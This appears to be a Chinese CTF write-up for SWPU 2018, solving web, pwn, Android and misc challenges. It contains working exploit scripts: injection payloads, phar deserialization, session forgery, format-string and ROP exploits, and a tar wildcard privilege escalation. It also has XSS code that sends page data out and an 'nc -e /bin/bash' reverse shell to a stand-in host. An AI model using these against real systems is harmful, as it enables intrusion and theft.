swpu2018 年底忙成狗,没什么时间,花了两个晚上的时间,做了一下简单的题目,还有些题目后面继续补。
web 用优惠码 买个 X ? 注册一个账号,然后登陆,会弹出一个15位优惠码,在页面输入提醒优惠码为24位,扫描后发现源码,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php $_SESSION['seed' ]=rand(0 ,999999999 ); function youhuima () { mt_srand($_SESSION['seed' ]); $str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ; $auth='' ; $len=15 ; for ( $i = 0 ; $i < $len; $i++ ){ if ($i<=($len/2 )) $auth.=substr($str_rand,mt_rand(0 , strlen($str_rand) - 1 ), 1 ); else $auth.=substr($str_rand,(mt_rand(0 , strlen($str_rand) - 1 ))*-1 , 1 ); } setcookie('Auth' , $auth); } if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im" ,$ip)){ if (!preg_match("/\?|flag|}|cat|echo|\*/i" ,$ip)){ }else { } }else { } ?>
根据源码提示,需要爆破得到随机种子,然后生成24位优惠码,爆破脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php for ($x=0 ;$x<999999999 ;$x++){ mt_srand($x); $str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ; $auth='' ; $len=15 ; for ( $i = 0 ; $i < $len; $i++ ){ if ($i<=($len/2 )) $auth.=substr($str_rand,mt_rand(0 , strlen($str_rand) - 1 ), 1 ); else $auth.=substr($str_rand,(mt_rand(0 , strlen($str_rand) - 1 ))*-1 , 1 ); } if ($auth == '4d1Sb0qX2fy1FBV' ){ echo $x . "\n" ; die (); } }
这个效率太低,可以用php_mt_seed
,首先将字符串还原为数字
1 2 3 4 5 6 7 8 9 10 11 12 13 str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ; s = 'Lnnon15igXPrvif' num = [] for i in range(15 ): if (i<=(15 /2 )): num.append(str_rand.index(s[i])) else : num.append(str_rand[::-1 ].index(s[i])+1 ) cmd = './php_mt_seed ' for i in num[:]: cmd += '{} {} 0 61 ' .format(i,i) print cmd
1 2 3 4 5 6 7 8 9 10 $ ./php_mt_seed 47 47 0 61 13 13 0 61 13 13 0 61 14 14 0 61 13 13 0 61 27 27 0 61 31 31 0 61 Pattern: EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 Version: 3.0.7 to 5.2.0 Found 0, trying 0xfc000000 - 0xffffffff, speed 511.8 Mseeds/s Version: 5.2.1+ Found 0, trying 0x12000000 - 0x13ffffff, speed 40.4 Mseeds/s seed = 0x13af8864 = 330270820 (PHP 7.1.0+) Found 1, trying 0xfe000000 - 0xffffffff, speed 40.3 Mseeds/s Found 1
然后根据随机数生成24位的验证码,即可到达命令执行的地方,虽然过滤了不少字符,不过很容易绕过
最后payload:
1 ip=0.0.0.0%0aca\t /fl\ag
SimplePHP file.php
可以看查看文件,得到php文件的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php header("content-type:text/html;charset=utf-8" ); include 'function.php' ; include 'class.php' ; ini_set('open_basedir' ,'/var/www/html/' ); $file = $_GET["file" ] ? $_GET['file' ] : "" ; if (empty ($file)) { echo "<h2>There is no file to show!<h2/>" ; } $show = new Show(); if (file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty ($file)){ die ('file doesn\'t exists.' ); } ?>
function.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php include "base.php" ; header("Content-type: text/html;charset=utf-8" ); error_reporting(0 ); function upload_file_do () { global $_FILES; $filename = md5($_FILES["file" ]["name" ].$_SERVER["REMOTE_ADDR" ]).".jpg" ; if (file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file" ]["tmp_name" ],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>' ; } function upload_file () { global $_FILES; if (upload_file_check()) { upload_file_do(); } } function upload_file_check () { global $_FILES; $allowed_types = array ("gif" ,"jpeg" ,"jpg" ,"png" ); $temp = explode("." ,$_FILES["file" ]["name" ]); $extension = end($temp); if (empty ($extension)) { } else { if (in_array($extension,$allowed_types)) { return true ; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>' ; return false ; } } } ?>
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 <?php class C1e4r { public $test; public $str; public function __construct ($name) { $this ->str = $name; } public function __destruct () { $this ->test = $this ->str; echo $this ->test; } } class Show { public $source; public $str; public function __construct ($file) { $this ->source = $file; echo $this ->source; } public function __toString () { $content = $this ->str['str' ]->source; return $content; } public function __set ($key,$value) { $this ->$key = $value; } public function _show () { if (preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i' ,$this ->source)) { die ('hacker!' ); } else { highlight_file($this ->source); } } public function __wakeup () { if (preg_match("/http|https|file:|gopher|dict|\.\./i" , $this ->source)) { echo "hacker~" ; $this ->source = "index.php" ; } } } class Test { public $file; public $params; public function __construct () { $this ->params = array (); } public function __get ($key) { return $this ->get($key); } public function get ($key) { if (isset ($this ->params[$key])) { $value = $this ->params[$key]; } else { $value = "index.php" ; } return $this ->file_get($value); } public function file_get ($value) { $text = base64_encode(file_get_contents($value)); return $text; } } ?>
利用phar
触发反序列化,触发过程如下:
file_exists($file)
触发phar反序列化
触发class C1e4r
的__destruct()
,而函数中的echo $this->test;
触发class Show
中的__toString()
$content = $this->str['str']->source;
由于读取不可访问属性的值时,class Test
中 __get()
会被调用。
最终调用$this->get($key)
获取$this->params['source']
的源码
1 2 3 4 5 6 7 8 9 10 11 $a = new Test(); $a->params['source' ]= '/var/www/html/f1ag.php' ; $b = new Show(); $b->str['str' ] = $a; $f = new C1e4r($b); $phar = new Phar("phar.phar" ); $phar->startBuffering(); $phar->setStub("GIF89a" ."<?php __HALT_COMPILER(); ?>" ); $phar->setMetadata($f); $phar->addFromString("test.txt" , "test" ); $phar->stopBuffering();
Injection ??? 扫描发现info.php
发现是使用mangodb
,那么可能就是Nosql注入
自动识别验证码+盲注脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import pytesseractfrom PIL import Imageimport requestsimport strings = requests.session() def getvcode () : url1 = 'http://123.206.213.66:45678/vertify.php' pic = s.get(url1) p = open('123.png' ,'wb' ) p.write(pic.content) p.close() im = Image.open('123.png' ) vcode = pytesseract.image_to_string(im) return vcode url2 = 'http://123.206.213.66:45678/check.php?username=admin&password[$regex]=^{}&vertify={}' pwd = '' for _ in range(5 ): for x in string.lowercase: while 1 : vcode = getvcode() check = s.get(url2.format(pwd+x,vcode)) print check.content if 'wrong CAPTCHA!' in check.content: continue break if 'Nice!' in check.content: pwd += x break print pwd
皇家线上赌场 打开页面发现了弹窗,查看网页源码,发现了一个文件包含<script src="/static?file=test.js"></script>
测试发现可以成功读取http://107.167.188.241/static?file=/etc/passwd
,题目提示是python3.5写的,需要找到web目录。
view-source:http://107.167.188.241/source
发现了目录结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 [root@localhost] web/ ├── app │ ├── forms.py │ ├── __init__.py │ ├── models.py │ ├── static │ ├── templates │ ├── utils.py │ └── views.py ├── req.txt ├── run.py ├── server.log ├── start.sh └── uwsgi.ini [root@localhost] filename = request.args.get('file' , 'test.js' ) if filename.find('..' ) != -1: return abort(403) filename = os.path.join('app/static' , filename)
/proc/self/cmdline 可以看到启动命令1 uwsgi --uid=ctf uwsgi.ini
/proc/mounts 或者 /proc/self/maps 可以看到工作目录1 /home/ctf/web_assli3fasdf
由于程序代码过滤<pre> if filename != '/home/ctf/web/app/static/test.js' and filename.find('/home/ctf/web/app') != -1: return abort(404) </pre>
,不能直接读,不过用可以通过/proc/self/cwd
绕过。
一个符号连接, 指向进程当前的工作目录. 例如, 要找出进程 20 的 cwd, 可以:cd /proc/20/cwd; /bin/pwd
view-source:http://107.167.188.241/static?file=/proc/self/cwd/app/views.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 def register_views (app) : @app.before_request def reset_account () : if request.path == '/signup' or request.path == '/login' : return uname = username=session.get('username' ) u = User.query.filter_by(username=uname).first() if u: g.u = u g.flag = 'swpuctf{xxxxxxxxxxxxxx}' if uname == 'admin' : return now = int(time()) if (now - u.ts >= 600 ): u.balance = 10000 u.count = 0 u.ts = now u.save() session['balance' ] = 10000 session['count' ] = 0 @app.route('/getflag', methods=('POST',)) @login_required def getflag () : u = getattr(g, 'u' ) if not u or u.balance < 1000000 : return '{"s": -1, "msg": "error"}' field = request.form.get('field' , 'username' ) mhash = hashlib.sha256(('swpu++{0.' + field + '}' ).encode('utf-8' )).hexdigest() jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}' return jdata.format(field, g.u, mhash)
view-source:http://107.167.188.241/static?file=/proc/self/cwd/app/__init__.py
1 2 3 4 5 6 7 8 9 10 11 12 from flask import Flaskfrom flask_sqlalchemy import SQLAlchemyfrom .views import register_viewsfrom .models import dbdef create_app () : app = Flask(__name__, static_folder='' ) app.secret_key = '9f516783b42730b7888008dd5c15fe66' app.config['SQLALCHEMY_DATABASE_URI' ] = 'sqlite:////tmp/test.db' register_views(app) db.init_app(app) return app
有了secret_key
,首先想到是伪造admin的session
1 2 3 4 5 6 7 X:\tmp > py -3 session_cookie_manager.py decode -s "9f516783b42730b7888008dd5c15fe66" -c ".eJwVzEEKgDAMBdG7_LVIKtpKLyNpmoCoFaquxLurs3qruZF45SKK6OirpQayX-VE_HVUm8590YKIToN3nklzkkTkLAw0ZjHz1MsYNJEO1mWPBtehtfD2TbHMlfG8O_kfGQ.XBscbw.pI4VrBhi7bb3o_V2_spFrWgysI0" {'balance' : 10000.0, 'count' : 0, 'csrf_token' : '2e7616a0edbcb001f7508dcff604c87eb0e5f2d6' , 'username' : 'kira' } X:\tmp > py -3 session_cookie_manager.py encode -s "9f516783b42730b7888008dd5c15fe66" -t "{'balance': 1000000.0, 'count': 1000000.0, 'csrf_token': '2e7616a0edbcb001f7508dcff604c87eb0e5f2d6', 'username': 'admin'}" .eJxVzDsKw0AMRdG9vHoIGpP54M0EjUaC4FgGf6qQvdu4yy1Pcb9o_GEXxRjp7kEBshy-_8u22mtfJnWMGLTkmJm0N2lE0Uqi2sUs01Nq0UaabOgZAcemq_N87cF9fjt-J0JqIVo.XBsiEA.6lDWb7AENFiwelgWZW3hxz4SoFw
成功得到admin的session后,可以进入getflag()
,留意这里有一个格式化字符串的漏洞,如何构造python继承链去读取g.flag
1 2 3 4 5 6 7 8 9 10 @app.route('/getflag', methods=('POST',)) @login_required def getflag () : u = getattr(g, 'u' ) if not u or u.balance < 1000000 : return '{"s": -1, "msg": "error"}' field = request.form.get('field' , 'username' ) mhash = hashlib.sha256(('swpu++{0.' + field + '}' ).encode('utf-8' )).hexdigest() jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}' return jdata.format(field, g.u, mhash)
根据提示,user有save方法,一步一步往下找
1 2 3 4 "__class__.save":"<function User.save at 0x7f1b740ee048>" "__class__.save.__globals__":"{..., 'db': <SQLAlchemy engine=sqlite:////tmp/test.db>, ..." "__class__.save.__globals__[db]":"<SQLAlchemy engine=sqlite:////tmp/test.db>" "__class__.save.__globals__[db].__class__.__init__.__globals__":"{..., 'current_app': <Flask 'app'>, ...}"
留意到有修饰器@app.before_request
1 "__class__.save.__globals__[db].__class__.__init__.__globals__[current_app].before_request.__globals__":"{..., 'g': <flask.g of 'app'>, ...}"
最终payload:
1 {"__class__.save.__globals__[db].__class__.__init__.__globals__[current_app].before_request.__globals__[g].flag":"swpuctf{tHl$_15_4_f14G}", "hash": "8bce7edc292f3211b97bc0a981c87135f0329681468bb6a3b487aaa23d8473fd"}
有趣的邮箱 在验证邮箱的页面源码有提示,同时有一个后台管理的页面,不过只允许localhost
访问,那么很明显就是通过xss访问管理员的页面了
1 2 3 4 5 6 7 8 9 10 <?php if ($_POST['email' ]) {$email = $_POST['email' ]; if (!filter_var($email,FILTER_VALIDATE_EMAIL)){echo "error email, please check your email" ;}else { echo "等待管理员自动审核" ;echo $email;} }
首先需要绕过邮箱的过滤,可以直接用"<script/src=//x.x.x.x/123.js></script>"@qq.com
绕过
先打一发admin的cookie:email="<script/src=//x.x.x.x:50004></script>"@qq.com
1 2 3 4 5 6 7 Referer: http://localhost:6324/admin/admin.php User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1 Connection: Keep-Alive Host: x.x.x.x:50004 Accept: */* Accept-Language: en-US,* Accept-Encoding: gzip, deflate
然而并没有cookie,不过发现admin的页面链接,尝试读一下admin.php
的页面源码,用xssrf-leak
的脚本也可以
1 2 3 4 5 var a = new XMLHttpRequest();a.open('GET' , 'http://localhost:6324/admin/admin.php' , false ); a.send(null ); b = a.responseText; location.href = 'http://x.x.x.x:50004/?f=' + escape (b);
email="<script/src=//x.x.x.x:50005/evil></script>"@qq.com
返回结果如下,可以发现一个可以命令执行的链接1 2 118.89.56.208 - - [20/Dec/2018 16:50:22] "GET / HTTP/1.1" 200 - {'f': u'<br /><a href="admin/a0a.php?cmd=whoami">'}
反弹shell进行操作方便点
1 2 3 4 5 var a = new XMLHttpRequest();a.open('GET' , 'http://localhost:6324/admin/a0a.php?cmd=nc+-e+%2fbin%2fbash+x.x.x.x+20007' , false ); a.send(null ); b = a.responseText; location.href = 'http://x.x.x.x:50004/?f=' + escape (b);
在根目录发现flag,但是没有权限读
1 2 www-data@VM-48 -87 -debian:/$ ls -al -r-------- 1 flag flag 36 Dec 18 18 :14 flag
在web目录发现一个奇怪的文件夹
1 2 3 4 5 6 7 8 9 10 11 12 13 www-data@VM-48 -87 -debian:~/html/4 f0a5ead5aef34138fcbf8cf00029e7b$ ls -al ls -al total 72 drwxr-xr-x 6 root root 4096 Dec 19 19 :03 . drwxr-xr-x 4 root root 4096 Dec 20 10 :07 .. -rw-r--r-- 1 root root 320 Dec 18 17 :14 backup.php drwxr-xr-x 2 root root 4096 Dec 13 19 :25 css drwxr-x--- 5 flag nginx 36864 Dec 20 19 :59 files drw-r--r-- 2 root root 4096 Dec 13 19 :25 fonts -rw-r--r-- 1 root root 4714 Dec 16 20 :17 index.html drwxr-xr-x 2 root root 4096 Dec 13 19 :25 js -rw------- 1 root root 0 Dec 19 19 :03 nohup.out -r--r----- 1 flag flag 707 Dec 18 17 :13 upload.php
查看backup.php
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php include ("upload.php" );echo "上传目录:" . $upload_dir . "<br />" ;$sys = "tar -czf z.tar.gz *" ; chdir($upload_dir); system($sys); if (file_exists('z.tar.gz' )){ echo "上传目录下的所有文件备份成功!<br />" ; echo "备份文件名: z.tar.gz" ; }else { echo "未上传文件,无法备份!" ; } ?>
参考:利用通配符进行Linux本地提权
根据文章的操作方法,利用上传分别上传3个文件,文件为
1 2 3 --checkpoint=1 --checkpoint-action=exec=sh exp.sh exp.sh #内容放需要执行的命令 cat /flag
上传完毕后进行一次备份即可执行命令。
pwn exploit_1 看完伪代码,第一反应是利用C++异常处理的机制绕过canary,然而由于格式化字符串限制太少,导致这题出现各种非预期解。
预期解 首先用格式化字符串泄露heap地址和libc地址,然后输入-9223372036854775808
绕过长度限制进行栈溢出,之后利用C++异常处理的机制绕过canary,并且将栈迁移到堆中进行ROP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 p.sendlineafter('name:\n' ,'%7$p|%12$p' ) p.recvuntil('Hello ' ) heap_addr = int(p.recvuntil('|' ,drop=True ),16 ) libc.address = int(p.recvuntil('please' ,drop=True )[-14 :],16 ) - libc.sym['_IO_2_1_stdout_' ] one_gadget = libc.address + 0x45216 pivot_addr = heap_addr + 0x20 unwind_addr = 0x400EC5 payload = flat('aaaaaaaa' ,one_gadget).ljust(0x410 ,'\x00' ) payload += flat(pivot_addr,unwind_addr) p.sendlineafter('motto:\n' ,"-9223372036854775808" ) p.sendlineafter('motto:\n' ,payload) p.interactive()
非预期1 这个方法最简单,既然有格式化字符串,直接泄露canary好了,还绕过啥,溢出直接组ROP
1 2 3 4 5 6 7 8 9 p.sendlineafter('name:\n' ,'%15$p|%12$p' ) p.recvuntil('Hello ' ) canary = int(p.recvuntil('|' ,drop=True ),16 ) libc.address = int(p.recvuntil('please' ,drop=True )[-14 :],16 ) - libc.sym['_IO_2_1_stdout_' ] payload = 'a' *0x408 + p64(canary) + p64(0xdeadbeef ) +p64(0x400fa3 )+ p64(libc.search('/bin/sh' ).next())+p64(libc.sym['system' ]) p.sendlineafter('motto:\n' ,"-9223372036854775808" ) p.sendlineafter('motto:\n' ,payload) p.interactive()
非预期2 这个方法只需用到格式字符串,连栈溢出都不需要,万一不知-9223372036854775808这个技巧,这个方法也是很好用的,就是麻烦点。思路就是修改free的got表为main函数,然后就是一个死循环,可以为所欲为,之后重新改回正确的free。可以修改free_hook来getshell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 def skip () : p.sendlineafter('motto:\n' ,"2" ) p.sendlineafter('motto:\n' ,"2" ) p.sendlineafter('name:\n' ,'%147c%11$hhn%123c%12$hhn' +p64(elf.got['free' ])+p64(elf.got['free' ]+1 )) skip() p.sendlineafter('name:\n' ,'%12$p' ) libc.address = int(p.recvuntil('please' ,drop=True )[-14 :],16 ) - libc.sym['_IO_2_1_stdout_' ] skip() one_gadget = libc.address + 0x4526a free_hook = libc.symbols['__free_hook' ] X0 = one_gadget&0x000000ff X1 = (one_gadget&0x0000ff00 )>>8 X2 = (one_gadget&0x00ff0000 )>>16 X3 = (one_gadget&0xff000000 )>>24 X4 = (one_gadget&0xff00000000 )>>32 X5 = (one_gadget&0xff0000000000 )>>40 payload = '%{}c%11$hhn%{}c%12$hhn' .format(X0,(X1-X0)&0xff ) payload = payload.ljust(24 ,'a' ) + p64(free_hook) + p64(free_hook+1 ) p.sendlineafter('name:\n' ,payload) skip() payload = '%{}c%11$hhn%{}c%12$hhn' .format(X2,(X3-X2)&0xff ) payload = payload.ljust(24 ,'a' ) + p64(free_hook+2 ) + p64(free_hook+3 ) p.sendlineafter('name:\n' ,payload) skip() payload = '%{}c%11$hhn%{}c%12$hhn' .format(X4,(X5-X4)&0xff ) payload = payload.ljust(24 ,'a' ) + p64(free_hook+4 ) + p64(free_hook+5 ) p.sendlineafter('name:\n' ,payload) skip() p.sendlineafter('name:\n' ,'%214c%11$hhn%51c%12$hhn!' +p64(elf.got['free' ])+p64(elf.got['free' ]+1 )) skip() p.interactive()
apk 基础android apk里面有一个zip文件,其实是个jpg,修改后缀打开
android 2.0 关键算法在so里面,程序将15位输入分成3块,每块在进行一次简单的运算,直接逆一下就行了。
Misc 签到题
修改分辨率得到一部分flag
文件末位有另一部分flag
唯有低头,才能出头 举头望明月,低头… ,(看键盘)1 99 9 9 88 5 66 3 3 666 33 88 3 6 555 9 11 4 33
流量签到 直接搜关键字
广告 各位大佬帮我薅羊毛啊
1 打开支付宝首页搜“575219”领红包,领到大红包的小伙伴赶紧使用哦!